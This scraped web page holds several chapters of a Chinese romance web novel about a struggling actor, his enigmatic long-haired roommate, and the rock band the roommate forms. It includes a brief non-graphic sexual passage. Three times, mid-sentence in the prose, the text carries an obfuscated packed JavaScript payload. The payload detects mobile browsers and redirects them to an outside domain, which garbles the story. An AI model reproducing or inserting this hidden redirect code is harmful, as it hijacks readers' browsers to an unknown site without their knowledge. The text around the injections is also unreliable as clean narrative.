宋燃犀顺从地就着他的手喝了几口,就被尧新雪放了下来。床凹陷下一块,那阵香根草的气味被无限放大了,属于尧新雪的气味和尧新雪的呼吸就这样充斥在宋燃犀的脑子里。 尧新雪的长发散落在宋燃犀的身上,让宋燃犀感觉到有些痒。 他干嘛亲我啊?宋燃犀迷迷糊糊地想。 今晚他要在这里睡吗?宋燃犀有些茫然,又有些懊恼,他迟缓地意识到自己浑身酒气味,实在算不上好闻。他往身后拉了拉,想拉出毛毯给旁边的尧新雪盖上。 然而就在下一秒,尧新雪就坐了起来,他把压在宋燃犀身下的毛毯给宋燃犀盖好之后就走了。 宋燃犀挣扎地想要坐起来,试了好几次之后还是重重地砸回被窝里。 他的酒量实在是太差了,简直到了“一杯倒”的程度,脑子像被填满了浆糊,以至于当他隐约地听见哗啦啦的水声时,想了足足三分钟才想到又哪里漏水了。 很久之前,宋燃犀因为犯懒没有及时处理天花板的破洞,就遇到过天降大暴雨的情况。老天爷似乎对他开了个恶劣的玩笑,当他在外面拼死拼活拖着死尸般的身体回来时,发现房间已经变成了水族馆。 什么东西都湿淋淋的,地板上铺着一层水,水里还漂浮着不明物种的昆虫。他只能凌晨两点开始搞卫生,然后搞到清晨,觉也不睡,先赶着跑去兼职。 宋燃犀的脾气本来就算不上好,收拾完发现自己收藏的影碟坏了一半之后,天天逮着房东就骂,骂得周桦狗血淋头,甚至让周桦犯了好几次高血压。 宋燃犀不耐烦地拉过被子,嘟嘟囔囔地骂了几句,终于尽力坐了起来,循着声音找了过去。 这个租房简陋得令人发指,连公共浴室都仅有一个帘子作为潦草的遮挡。说是浴室,其实也就多了个水龙头,热水器和花洒而已。连镜子都是宋燃犀之后自己买的,牙具台是他用楼下废弃木材改的。 这房子长久租不出去,一直以来只有宋燃犀租着,于是他习惯了只有自己一个人,毫不犹豫地扯开了帘子。 入目的先是氤氲的热气和水雾,然后就是尧新雪的背影。 宋燃犀的呼吸一滞,僵硬在原地。 是尧新雪。心里有个声音在提醒他。 尧新雪正半仰着脸,迎接着水流。他头顶温热的水如同一场热雨,源源不断地洒落下来,无数颗水珠疯狂地从他光洁的额头滚落到唇、锁骨。 蓝灰色的长发因为被淋湿,显得颜色更深、更弯曲,散乱地贴在尧新雪的脊背上。 他的腰腹紧致,腰线分明,全身上下甚至都没有一丝赘肉,身材好得令人怀疑,也许是为了更好地用腹腔发力来唱歌。 他的皮肤在光下之下毫无瑕疵,如同精致的人偶,胸口那块红色的石头和他的肤色形成强烈的、视觉上的刺激。 在宋燃犀这个偷窥者的视角下,尧新雪的两片肩胛骨在长发间若隐若现,窄腰仿佛一只手就能揽过。 宋燃犀原本以为他瘦得纤细,在他抬起手臂抹去自己脸上的水时,宋燃犀才注意到他的手臂线条其实优美且流畅,看起来有力、利落,很薄的肌肉,既不过分夸张,又极具观赏性。 水流声如同秒针滴滴答答地响着,宋燃犀在那几秒里目不转睛,他死死地盯着那颗水珠从尧新雪的发尖滴至小腿。 因为排水太慢,地面已经积了一层水,直到水声停止,尧新雪终于注意到了他。 宋燃犀才意识到自己的心脏声太大了。 他有些不知所措,像是犯了错被抓包的孩子,匆匆地避开尧新雪的眼神想要解释,最后却含混地说不出一句完整的话。 尧新雪却好像毫不在意。 他慢条斯理地拿上浴巾围好,然后撩起一缕垂下的湿漉漉的长发,施舍般看了一眼宋燃犀。 尧新雪抬起一只手,掐住了宋燃犀的脖子。 宋燃犀在那一刻嗅到了与白日香根草截然不同的气息,他在尧新雪近在咫尺的、湿热的手掌心里,意识到尧新雪用的是白茶味的沐浴露。 尧新雪掐在他脖子上的手更像是虚虚地扣着他的后颈,拇指若有若无地摩挲着宋燃犀的喉结。他仿佛对自己被看见这件事毫不在意,连看着宋燃犀的眼神都极为淡然。 片刻后,宋燃犀听到他无奈而温柔地问道:“怎么了醉鬼?” 宋燃犀一瞬间想反驳说自己没醉,可是看着眼前的尧新雪,他再一次闭上了眼睛:“对……对不起。” 他小声地补充道:“我也要洗澡。” 尧新雪笑了,侧身走出去懒洋洋地对背后的宋燃犀说:“那就去吧,别一头栽进坑里了,我可不捞你。” 宋燃犀在他的背后缓缓地、极轻地松了一口气,尽管他也不知道自己在紧张什么。 直到尧新雪的脚步声越来越远,他才敢回头,然而当他回过头没有看到尧新雪时,心里却又忽然涌现出一阵失落。 宋燃犀晕晕乎乎地走回自己房间拿衣服,然后走回浴室里,为了圆这个谎将水声开到最大。 他开的是冷水,冰冷的水将他浇了透顶,并且让他一瞬间清醒过来。 什么酒精啊、尧新雪啊好像都被抛在了脑后,宋燃犀沉默地淋着冷水。 这个浴室的温度还没有降下来,上一个来客调高的水温,让这里既湿润,又温暖。镜子上面隐约映着宋燃犀的轮廓,他近乎有些痴迷地在布满水珠的墙面上,用手指写字。 他潦草地,犹豫地写下:尧新雪。 站在浴室的中央,想象的画面和刚才的画面几乎重叠,这里有着满室的白茶香,一瞬间,宋燃犀想到,就在刚刚,尧新雪是怎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15748503|174214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么用干净修长的手指,湿淋淋地抹过身体。 他终于,难耐地将手伸了下去。他几乎罪恶地、纠结地、忍无可忍地在这个动作里感到欢愉。 他痛恨着自己此时此刻想着尧新雪。 好不容易洗完了这个艰难的澡之后,宋燃犀脸色更差了。他的头上顶着块毛巾,穿得严严实实地走出来。 他没有在隔壁听到尧新雪的动静,于是小心翼翼地从过道望过去。 尧新雪正蜷在那张二手床垫上睡觉。他睡觉时看起来很乖,长睫毛此时轻轻地垂着,长发就这样散在他的身上,仿佛要把他裹起来。 这个画面看起来安静又美好。 宋燃犀蹲下身,靠近过去,放轻了呼吸,用目光审视着尧新雪。宋燃犀一寸一寸地扫过他的眼睛,鼻梁和嘴唇,终于不得不承认这确实是一张完美无缺的脸。 但宋燃犀仍然觉得自己疯了,他为什么会想着男人做这样的事,而且这个人还是他的室友,他们仅仅相识三天。 这样跟变态有什么区别,以后应该怎么面对尧新雪?有个声音在他的脑海里大叫。 他好像被下了蛊一样,在清醒之后不敢置信,这几分钟里,宋燃犀的心情如同过山车一样,在极高点猛地坠下去,他的心一瞬间凉透了。 在愣了半天之后,他站了起来,看着尧新雪无知无觉的睡眼,忍不住极轻地叹了口气。 宋燃犀走回自己房间拿了条毛毯,而在他准备把毛毯盖在尧新雪身上时,一个压抑着怒意的声音突然出现:“你,在干什么?” 宋燃犀一瞬间绷直了腰背,他心虚地转过头之后,看到了尧新橙。 然而很快他就若无其事地扬了扬自己手中的毛毯,再指了指尧新雪,耸耸肩露出无辜的表情。 宋燃犀甚至没有发出声音,好像真的只是出于对尧新雪的关心。 但尧新橙显然不是什么好打发的人,他阴狠地剜了宋燃犀一眼,压低声音道:“哥哥,不需要。” 他这个样子简直和护食的猫没有区别,弓起了背,浑身的毛都竖起,警惕地看着宋燃犀。 宋燃犀下意识地想为自己辩解,又碍于他到底是尧新雪的弟弟,自己对尧新雪说到底只是个刚认识三天的室友,于是没有吭声。 他抱着自己的毯子准备溜回房间,走到一半却忽然忍不住回头看了一眼。 他看到尧新橙脱了自己的薄外套盖在尧新雪身上,然后跪坐在尧新雪的身边。 尧新橙没有和尧新雪睡在一块,只是像头小兽一样,慢慢地伏下来,将脑袋枕在尧新雪的手侧。 也许是靠近尧新雪让他感到安心,也许是因为他全身心地信任着尧新雪,只是在枕在尧新雪手旁,他原本疲惫阴戾的表情就很快地放松下来,转而变得恬静和幸福。 尧新橙和尧新雪并不像一对兄弟,他们身上甚至没有相似的特征,却表现出对彼此毫无保留的信赖。尧新橙守着尧新雪,就像恶龙守着独属于它的黄金。 宋燃犀看着这一幕,不由地有些嫉妒起尧新橙来。 5. 第 5 章 尧新雪第二天懒洋洋地睁开眼睛,就看到尧新橙睡在地上。 他用手指勾着尧新橙卷而乱的头发,有些好笑地问:“怎么不上来睡,睡地板不冷吗?” 尧新橙用脸蹭着他的掌心,仰着头看他回答道:“不冷。” 尧新雪用手指指腹按过他的脸颊,极怜爱似的,抹过他因睡眠不足眼底留下的乌青。而尧新橙就着这个姿势看了一会他之后,终于依依不舍般站起来说:“我要,去工作了。” 尧新橙说话有些结巴,在讲稍微长一点的句子时总是要慢一拍。除了尧新雪,很少有人有耐心能听完他讲话,因此他总是沉默。 “顺便去查一下他是什么身份吧,我觉得他可能认识贺忆舟。”尧新雪喝了口水,轻声说。 尧新橙知道这个“他”就是宋燃犀。 “嗯,”尧新橙低声应了,把手按在门把手上,静了半天提醒道,“他昨天晚上,趁你睡着的时候,走近,不是什么,好人。” “你看到他想做什么?”尧新雪不以为意,只是觉得有些好笑似的弯起眼睛。 “不知道。”尧新橙硬邦邦地说,“哥哥,他……” “去吧。”尧新雪心不在焉似的打断了他的话,尧新橙看过去时,只看到他正握着杯子,给了自己一个温柔而不容拒绝的眼神。而这个眼神有着明显的、来自上位者的命令意味,他似乎不再希望和尧新橙探讨关于宋燃犀的事情。 在这短暂的僵持里,尧新橙的眼睛眨了一下,转过头说:“好。” 直到看着尧新橙关上门,尧新雪才收回目光,他找回行李箱上的几张纸,拿着笔开始写歌词。 他的灵感总是很碎,写在笔记本上就变成了更凌乱的涂鸦。 尧新雪喜欢边走边想,他像是个有多动症的小孩,总是坐不住,连睡在床垫上,也要竖着双腿,百无聊赖般在墙面上用脚跟敲出节奏。 如同柳叶条般细长的头发垂下来,垂到地面上。 宋燃犀回来时看到的就是这一幕,他的动作在看到尧新雪之后明显一僵。 “你今天怎么在这?”宋燃犀脱口而出,然后又明显地懊悔,像是觉得自己有点太没礼貌了。 “我不能在这里吗?”尧新雪没看他,只是把歌词本盖在脸上。 “不嫌脏吗?”宋燃犀看着他的头发垂在地上,忍无可忍地又问。 “什么?”尧新雪掀开本子的一角看他。 宋燃犀绷着脸走过去,把他落在地上如水的长发都拢起来,放到床垫上,身体力行了他的想法。 长卷发柔顺的触感如同水流,宋燃犀草草地拢好之后就站了起来,头也不回地走回了自己的房间,试图假装听不见尧新雪的笑声。 宋燃犀今天没去兼职,因为他想提前排练一下剧本。明天就要去试镜,他不想错失这个机会。 这是一个名不经传的小导演,预算不高,宋燃犀却对剧本很有兴趣。 他翻开剧本,盘腿坐在床上,试图进入角色情绪,脑子里却空无一物,他的注意力好像都被隔壁的某个人全部剥夺了。 尧新雪的存在似乎格外明显,即使宋燃犀在这里看不到人,昨晚的那一幕却总会不合时宜地浮现在他的脑子里 宋燃犀深深地呼吸,他的目光依次扫过那发霉的天花板、堆积如山的二手碟和DVD机,心情终于得到了短暂的平静。 然而,当他想要背诵第一句台词时,突然听到隔壁传来清脆的、玻璃碎裂的声音。 “啪”地一下,宋燃犀甚至能想象出玻璃制品如何四分五裂地躺在地上。 宋燃犀深呼吸了两下,终于忍无可忍般拧着眉从床上跳起来,他跑去隔壁,还没等尧新雪说话,就先发制人:“别用手捡,我来帮你扫。” 尧新雪还站在玻璃杯残骸的中央,看到宋燃犀,表情从有些讶异到了明显的戏谑。 宋燃犀没有管他,转头就去拿扫把扫干净了地面,然后找了个看起来极其随便的理由,清了清嗓子理直气壮地说:“你不知道扫把在哪。” “嗯,谢谢你。”尧新雪也认真地笑着点点头。 还没等宋燃犀躲回自己房间,尧新雪就继续问:“这是什么?” 宋燃犀看到他指着自己手里的笔记,解释道:“剧本。” “可以念给我听吗?”尧新雪问。他问这个问题时,像个好奇心极重的孩子,总是令人无法拒绝。 宋燃犀不知道为什么自己就这样坐在了床垫旁。尧新雪给他倒了杯水,散下的长发因为走动,扫过宋燃犀的手背。 宋燃犀认命般小声地控诉道:“有时候我觉得都是你故意的。” 尧新雪躺在他旁边,懒洋洋地“嗯”了声,像是困惑的语气。 宋燃犀没有理他,而是照着剧本,开始念故事。他的声音很轻,拿着剧本,字句清晰地念着。尧新雪注意到,他的剧本上写满了批注。 这部电影名叫做《罪爱》,宋燃犀所要饰演的角色叫陆小河。 宋燃犀拿到剧本,读了两遍之后,就用第一人称的写法,将这个角色的心理全部走了一遍。 “我母亲下葬的第三天,我的父亲带了一个女人回家。他告诉我,这是我的后母,我应该叫她妈妈。我保留着一切警戒心、一切对父亲的恨和一切对死去母亲的爱来看待她。” “然而,她对我百般照顾。她出现在我的家长会,在同学的推搡下拉过我的手,吻我的额头。我的朋友对我说,她漂亮得不应该做你的后母。我没有说话,只是在回家路上,她试图牵起我的手时,将手缩了回去。” “她很漂亮,人人觊觎,父亲将她作为炫耀的资本,而我把她当作意图代替我母亲的仇人。可是她到底做错了什么?在这样无声而漫长的相处里,我竟然……我竟然对她产生了同情。” “一次放学,我看到有人站在她的身边,对她动手动脚。我的心里没由来地产生出一种愤怒和嫉妒的情感,我毫不犹豫地冲上去和那个男人打了起来。她惊慌失措地握住我的手,在持续的疼痛和尖锐的耳鸣里,我终于停了下来。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15748504|174214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“回家之后,她开始为我处理伤口。这一次,我没有躲开她,而她对我,太过温柔,既像母亲,又像一个情人。酒精刺痛着我的伤口,她心疼的眼神和懊悔不已的表情就这样落在我的眼底,我狡猾地、假装无比可怜地告诉她:痛。她便一下子不敢再动。这卑鄙吗?” 宋燃犀在那一刻静了一下,因为尧新雪听着听着就枕上了他的大腿,他擅自把剧本拿起来合上,叹了口气说:“怎么办,宋燃犀,我怕你演这个戏入戏太深,到时候走都走不出来。” “你说什么呢?”宋燃犀回过神来,若无其事地回答道。 他意识到,尧新雪没有再用“宋先生”这个称呼,而是直接叫了“宋燃犀”。 “你太适合这个角色了,导演确实很有眼光。”尧新雪看着他的下颌,宋燃犀滑动的喉结出卖了他的反应。 尧新雪之所以觉得宋燃犀适合这个角色,是有原因的。 他的下颌线分明,眉宇桀骜不羁,唇形的弧度微微上扬,这些特征无一例外都让他的长相带有着独特的少年意气,而他的眼神却总是带着克制和不易察觉的轻蔑,这些特点都符合“我”的形象。 宋燃犀其实既不镇定,也没有把自己当成戏外的人,他在给尧新雪读剧本的时候就已经自觉地代入了“我”。 他的心很乱,一时间,耳边好像只剩下楼上楼下传来的隐约的叫骂声、车辆的鸣笛和没拧紧的水龙头滴下水珠的声音。 直到尧新雪伸出手在他的眼前晃一晃,他才恍然回过神来,仿佛终于回到现世。 宋燃犀低下头,看着尧新雪的眼睛:“我还没有拿到这个角色。” “那是迟早的事。”尧新雪说。 他忽然问尧新雪:“‘我’爱她吗?” “我不知道,也许是怜悯、占有欲、对父亲的恨以及些许俄狄浦斯情结。”尧新雪回答道。他没有说“爱”,只是冷漠地从剧本上所描写的所有行为做了简单的分析,是宋燃犀所认识的那种,最无法与角色共情的看客。 “不是的,‘我’其实是爱着她的,却因为父亲的存在和母亲的死无法爱她,也因为这个原因更加爱她。”宋燃犀说。 “那这个故事的结局是什么?”尧新雪笑着反问,他假装思考了一阵,然后说,“我猜,是‘我’杀了父亲。” 他的唇钉折射着微弱的光,粉色的舌尖和雪白的牙齿因为嘴唇的张合若隐若现,仿佛早有预感,轻飘飘地抛下这句话。 宋燃犀看着他近在咫尺的脸,感到一瞬间的僵硬和茫然。 因为尧新雪猜对了。 艺术家们心有灵犀,他们总是能给出具有强烈戏剧性、毁灭性的结局,人们常常钟爱于此,在感到被欺骗被伤害的同时,体验到由衷的痛快和淋漓。 在这个故事的结尾,‘我’和父亲因为一件小事发生了剧烈的争吵。在抬起头看到后母那恳求、怜悯般饱含泪水的双眼后,我枪杀了父亲。 我和父亲同时倒在血泊里,他胸口蔓延开的血,也浸红了我的心口。 6. 第 6 章 尧新雪走过这条街时,吸引了不少人的目光。 他没有扎头发,只是穿着普通的无袖背心和修饰腿型的牛仔裤,干净、漂亮,看起来和这里的脏乱差格格不入。 他的目光毫不忌讳地打量过倚靠着墙面抽烟的人,不紧不慢地走在凹凸不平的、铺满啤酒瓶碎渣、烟头和小广告的地面上。 尧新橙跟在他的身后,神情格外紧张,警惕地和每一个打量过尧新雪的人对视。因为他看起来年纪很小,身形瘦削,对方对他阴戾的眼神总是嗤之以鼻,只是轻蔑地一笑。 这里是有名的地下摇滚区,也是臭名昭著的“垃圾场”,有一大片废置工厂,门板被涂满美式街头风的涂鸦,因为租金极其便宜,聚集着大批无业青年、乞丐和精神病人。他们打着“玩音乐”的旗号终日聚集在这里,每一个隔间都可以称作BAND。 这里的治安也极差,哪怕你抬头无意间多看了不该看的一眼,也会有人大声骂着脏话挥着酒瓶子砸上你的脑袋。 有人夸张地声称,如果警察来到这里,他就能抓到一打毒贩、通缉犯或妓女。 尧新雪走进这里,好奇的目光扫过写满脏话或贴着寻人启事、音乐节海报的墙,然后在注意到某一张被红笔涂得乱七八糟的告示后“啊”了一声,弯起眼睛道:“找到了。” 尧新橙顺着他的目光看去,然后毫不犹豫地撕下那张纸,上面用加粗的马克笔写着:摇滚乐队大赛。 比赛的规则简单粗暴到不可思议,不限名额,实行投票制,网络投票占30%,单曲销售占30%,现场投票占40%。每一支队伍都要带着自己的原创歌曲进行表演,直到淘汰或成为第一名。 成王败寇,除了第一名的乐队能获得和指针音乐签约的机会,其他队伍都将在失败的那一刻彻底失去竞争的资格,残酷而无情。 指针音乐是有名的大公司,得到签约的机会,无异于得到百万支票,确实值得起为了这个第一名争得头破血流。 很难想象这张告示贴在这里的原因,这里更多的是看不惯的人,他们在这张告示里写满脏话,甚至啐了好几口唾沫,也就只有尧 新橙会认真地拿在手里试图辨别上面的每一行字。 尧新雪没有看这张告示,只是散步似的走在散发着腐臭味的小道,神情悠闲,直到他停在一个明显的地下室入口处。 此刻那个入口紧紧封闭着,贴着禁止进入的警告,这里也是告示中写的比赛地址。 尧新雪站在通往这个地下入口的阶梯边缘,居高临下地歪了歪头。他的铆钉靴踩在地面上,隐约能听见玻璃渣被碾碎的声音。 他望着那个警告,仿佛只是喃喃自语:“我们的乐队从这里开始吧。” 尧新橙定定地望着尧新雪的背影,只是说:“好。” 尧新雪来这里仅仅是为了踩一次点,踩完点之后他就准备离开。 要组乐队不是尧新雪的空话或是异想天开,除了确认比赛信息的真伪和比赛地点,他还需要找到鼓手和贝斯手。 尧新橙沉默地跟在他的身后,如同一只背后灵。 尧新雪选择去了各种酒吧寻找他想要的乐手,他看人向来很准,在看到对方演奏了几分钟之后就基本能够判断出那个人是什么水准,因此一连去了好几家酒吧之后都没有找到心仪的人选。 这些人水平欠佳,在尧新雪的眼里,技巧可以说是相当拙劣。 他轻声叹了口气,有些苦恼似的,转过头去征求尧新橙的意见:“新橙,你觉得刚才那些人怎么样?” 尧新橙习惯了跟在尧新雪的身后,因为他心血来潮地忽然回头,有些手足无措,脸一下子就涨红了,结巴地想要说话,却又被尧新雪先开口打断:“只要哥哥觉得好,就是好?对不对,你想要这样说。” 尧新橙有些不好意思地笑了一下,这个笑容让他看起来极为腼腆。 他们走到了酒吧街的尽头,尧新雪没有犹豫,直接推开了门走进最后一家酒吧。 此时已经接近凌晨十二点,夜空黑得深不见底,只有一盏圆月挂在上面,散发着微弱的光晕。 尧新雪坐在卡座里,拎着一罐啤酒,微微俯下身,观察着即将上台的乐队。 他的目光依次扫过贝斯手、吉他手,最后落到了作为鼓手的那个女孩上。 她扎着随意的马尾,穿着白T恤和牛仔裤,就这样坐在所有人的身后。她没有化妆,面容清秀,正叼着根棒棒糖,手里握着鼓棒。 爆裂的音乐由她的鼓棒砸向鼓面开始,鼓音的开场在一瞬间引起了在场所有人浪潮般的尖叫,尧新雪皱着眉微微侧过头,终于听清了人们喊着的名字:“薛仰春!!!” 尧新雪的目光始终没有离开过她的双手和双脚。 她的基本功无疑是优秀的,重音的边击衔接行云流水,大量的双跳、复合跳和鬼音让整首歌的节奏达到抓耳的程度。 一百七十八,一百七十九,一百八十。 漂亮而高速的双踩。 尧新雪的指节叩在桌面上,心里默数着节拍,酒吧的灯光有好几秒流过他的眼睛,直到一曲终了,他才若有所思般微微扬起嘴角。 这支乐队的其他成员属于三流水平,却有着一流的鼓手。 他们的表演直到两点才结束,薛仰春跟在几个一米七或一米八的队员身后,没有参与他们嬉皮笑脸讨论着的垃圾话题,无聊地嚼碎了含在嘴里的糖。 她孤僻的样子和在台上格格不入,也就有男人向她伸出了手。 薛仰春转过头,男人即将碰触到她的肩膀时,手很快就被另外一个人按住。 那个人有着漂亮的蓝灰色长卷发,唇钉和左耳上的耳骨钉相连,即使是个男人,却有着极为温良、优雅的气质,同时也漂亮得不可思议。 薛仰春的眼睛眨了一下。 被扣住手的男人发现自己完全无法动弹时,猛地拧头看向尧新雪,他先是一怔,然后看到尧新雪身后脸色阴沉的尧新橙。他松开了手,最后骂骂咧咧地选择了离开。 “我对好看的男人也没有兴趣。”薛仰春看 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然而尧新雪只是转过去,看着有些懵的薛仰春语气温柔:“希望你能考虑一下,如果你不愿意加入,我会感到很可惜。” 薛仰春感觉到草莓味棒棒糖的甜,她看着尧新雪,眼睛一眨不眨。 像是忽然想起了什么似的,尧新雪笑着补充道:“我们的乐队也对女性没有兴趣。” “那我加入!”薛仰春惊喜地睁大眼睛,在队员惊世骇俗的目光之下一把抓着尧新雪的手叫道。 尧新雪笑了,放松了手腕和她轻轻握了握:“欢迎至极。” “哎,不是……”队员还想说话,却又被另一个声音打断。 “那你的乐队还差贝斯手吗?”一个男人突然冒出来插嘴说。 他好像觉得刚刚的对话很好笑,眉眼弯弯。 这个人刚从厕所里出来,脸上还泛着酒醉的酡红,看起来极为年轻,虽然胡茬媚刮干净,但看起来仍然像个大学生。 他吊儿郎当得不像话,像是刚从厕所里吐完,正踉踉跄跄地想靠近尧新雪,也握上尧新雪的手,却被尧新橙猛地推开。 他有些懵地看向同时望向他的众人:“干什么?” 尧新雪饶有趣味地扫过他长有厚茧的手指,挑眉道:“你是?” “楚枕石啊。G大最有名的贝斯手。”自称是楚枕石的男人扬眉,骄傲地挺起胸膛时,却脚一软靠着墙滑坐了下来。 所有人看着他的眼神一下子由匪夷所思变成嫌弃。 尧新雪却再一次笑了,他从尧新橙的裤兜里拿出两张便签纸和一支笔,潦草地写了一串地址和时间,分别给了薛仰春和楚枕石。 楚枕石只见他愉快地将那张纸折好塞进自己衣服的口袋:“好啊,明天你们一块来我家,我们再进行讨论吧。” 楚枕石摸了摸靠近自己心口的那张纸,看着他离开的背影又嘀咕了几句什么。 他打开那张纸,醉眼朦胧地对光半天,只看清了最后三个字:尧、新、雪。 7. 第 7 章 楚枕石因为刚和谈了两年的女朋友分手,去酒吧喝到了凌晨两点,他从厕所里吐完出来,就看到一个漂亮的男人说:“我们的乐队没有人对女性有兴趣。” 不知道这句话是戳中了他哪里的笑点,他哈哈大笑,迎着所有人的目光响亮地说:“那我也要加入。” 再然后,他就收到了这张纸条。 第二天酒醒之后,楚枕石背着贝斯,转了三趟公交车,又走了两公里终于找到了纸张上的位置。 抬头望去,那是几栋人口高度密集的居民楼,绿色的爬山虎爬满外墙,阳台上挂着各式各样的彩色衣服,老旧的玻璃窗紧紧挨在一起,生锈的楼梯在踏上去时吱呀作响,让人恍惚以为自己回到了六十年代。 他气喘吁吁地爬到六楼,又对着门牌号一个一个找过去,终于找到了相应的地址,犹豫地敲了敲眼前的门。 开门的人是尧新橙,他还穿着背心和短裤,看到楚枕石先是皱眉,看清他身后的贝斯之后才不情不愿地让开。 楚枕石觉得他年纪比自己小,还一本正经地绷着脸,就起了逗逗他的心思,刚想开口捉弄一下他,身后就传来了一个男人的声音。 和昨晚他听到的一模一样,楚枕石转过身,看到尧新雪和薛仰春正坐在床垫上,床边几张乐谱。 “枕石,过来吧。”尧新雪温声说。 他随意地坐在床垫上,双手撑在身后,肩膀微微耸起,这个动作让他凸起的锁骨更加明显。楚枕石注意到他胸口挂着块红色的石头,顺从地走了过去。 明明尧新雪看起来甚至比自己还要小,说出的话却有魔力一般。他的声音清澈而温柔,说什么似乎都有着缱绻的味道。 薛仰春正在抽烟,她一手撑着床垫,一手夹着细长的烟,撩起眼皮看向他,如同一头美丽的猎豹。 楚枕石看向尧新雪,随意地握握尧新雪的手,哈哈笑道:“你们好你们好,我是楚枕石。咱们的乐队叫什么名字?” 草莓味的烟弥漫在窄小的空间里,尧新雪抬头看向他,狭长的眼睛微微弯起:“不急,先看看这个。”他将手中的那几张乐谱递给了楚枕石。 楚枕石的目光飞速地扫过纸上的内容,“诶”了一声,快速看了两遍之后,他就从自己的琴包里拿出了贝斯。 在尧新雪、尧新橙和薛仰春的注视下,他随手试了贝斯几个音之后,看着乐谱就弹了起来。 尧新雪的眼神也随之变得认真,带有审视意味,他微微前倾,将双手交叉,手肘压在膝上,看着楚枕石的手如何流连过贝斯的琴弦。 楚枕石即兴编的贝斯线在吉他的和弦之上加入了大量的slap和泛音,并用半音作为为和弦的过渡,在极短的时间里,起承转合,已然完成了极具张力的演绎。 楚枕石的眼神极为专注,手指飞跃在琴弦之间,仿佛不加思考般只是随着乐感而走,和昨晚那个烂醉如泥的人简直判若两人。 无论是谁,都不得不说这样即兴而来的bass line已经足够华丽和精彩,贝斯的存在被高调宣布,并且让原本的歌节奏感更加丰富,更具有层次感。 直到弹完,楚枕石才松了口气,看着眼底露出笑意的尧新雪和目瞪口呆的薛仰春眨眨眼睛:“临时试一下,如果再给我一点时间,可以把一些细节做得更完整。这首歌挺特别的,很难想象你能在这样的环境里还能写出这么牛的歌。” “欢迎加入我们,G大最厉害的贝斯手。”尧新雪笑了笑,率先伸出了手。 “谢谢谢谢。”楚枕石假装谦虚地握了握。 “那现在乐队的成员已经确认了。”尧新雪站了起来,倚靠在行李箱旁,指了指自己,然后目光依次扫过众人,带着明显的赞赏意味,“我叫尧新雪,主唱。吉他手尧新橙,鼓手薛仰春以及贝斯手楚枕石。” 楚枕石在最后听到自己的名字时,抱着贝斯弹了一串轻快的音符以示庆贺。薛仰春露出了一个笑容,期待地看向尧新雪。 四个人对视之后,很快就在彼此的眼神里确认了各自的姓名、身份。 “乐队的名字叫做黑羊,我希望我们能够尽快开始排练,然后报名参加这个比赛。”尧新雪打开手机,亮出摇滚乐队大赛的报名页面,“争取拿到第一,和指针音乐签约。” 楚枕石倒吸一口冷气,不敢置信般点了点自己的胸口:“原来我们不是玩玩,而是认真的?” “当然。”尧新雪扬眉,他微微抬起下颌,在泾渭分明的光影里说,“一开始,会是这个城市,再然后,会是整个国家。” 他的话音停顿了一下,然后愉快道:“最后,会是整个世界。黑羊会成为举世闻名的乐队。” 这不是一个激动人心的演讲,更像是宣布一个无可争议的事实。尧新雪的目光扫过在场的所有人,嘴角带着隐约的笑意,几乎是冷酷地完成了这个宣告。 然而在场的所有人都在那一刻噤声了,他们的眼神无一不从怀疑变成了认真。 过了很久,薛仰春才像只猫向楚枕石搞怪地吐了吐舌头:“爱来不来。” 楚枕石感觉到自己心脏在听完尧新雪的话后加快了跳动。尧新雪的宣告无疑是打动他的,他是天生的、能够蛊惑人心的上位者,他野心勃勃,仅仅靠只言片语就能强烈吸引人们追随他。 楚枕石扫过尧新雪身后破旧不堪的景象,在苦笑着体味到自己确实被打动了之后无视了薛仰春,对着尧新雪目光坚定地拍了拍胸口:“来,相信你,队长。” 他揣摩了会,然后又问,“Black sheep?害群之马?我们这个乐队的名字有什么特别的意思吗?” “那倒没有。”尧新雪笑道。 “OK,那没事,我们就这样干翻他们!”楚枕石信誓旦旦地揽过尧新橙的肩膀。 尧新橙一怔,最后没有挣脱开。 “好,那明天下午开始排练,时间地点我会通知你们。”尧新雪笑着说。 他们四个各自加了联系方式,又拉了个群,改了自己的群昵称之后,群名被薛仰春改成了黑咩咩乐队。 基本把比赛事宜和规则讨论得差不多之后,尧新雪准备把他们送到路口。 他们走下楼梯,尧新雪就站在中间,尧新橙站在他的左手侧,薛仰春和楚枕石则跟在他的身后叽叽喳喳地说着话,他们很快就熟起来。 这几个人年纪都相仿,楚枕石二十二岁,是年纪最大的那个,尧新雪二十一岁,薛仰春和尧新橙则是十九岁。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15748506|174214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >尧新雪并不是身高最高的人,也不是年纪最大的人,他年轻得不可思议,却很明显地能让人看出,站在他身边或高大,表情或不羁的人尽是他的追随者。 夕阳的余晖洒落下来,将尧新雪的面容就这样画出明暗分界线。 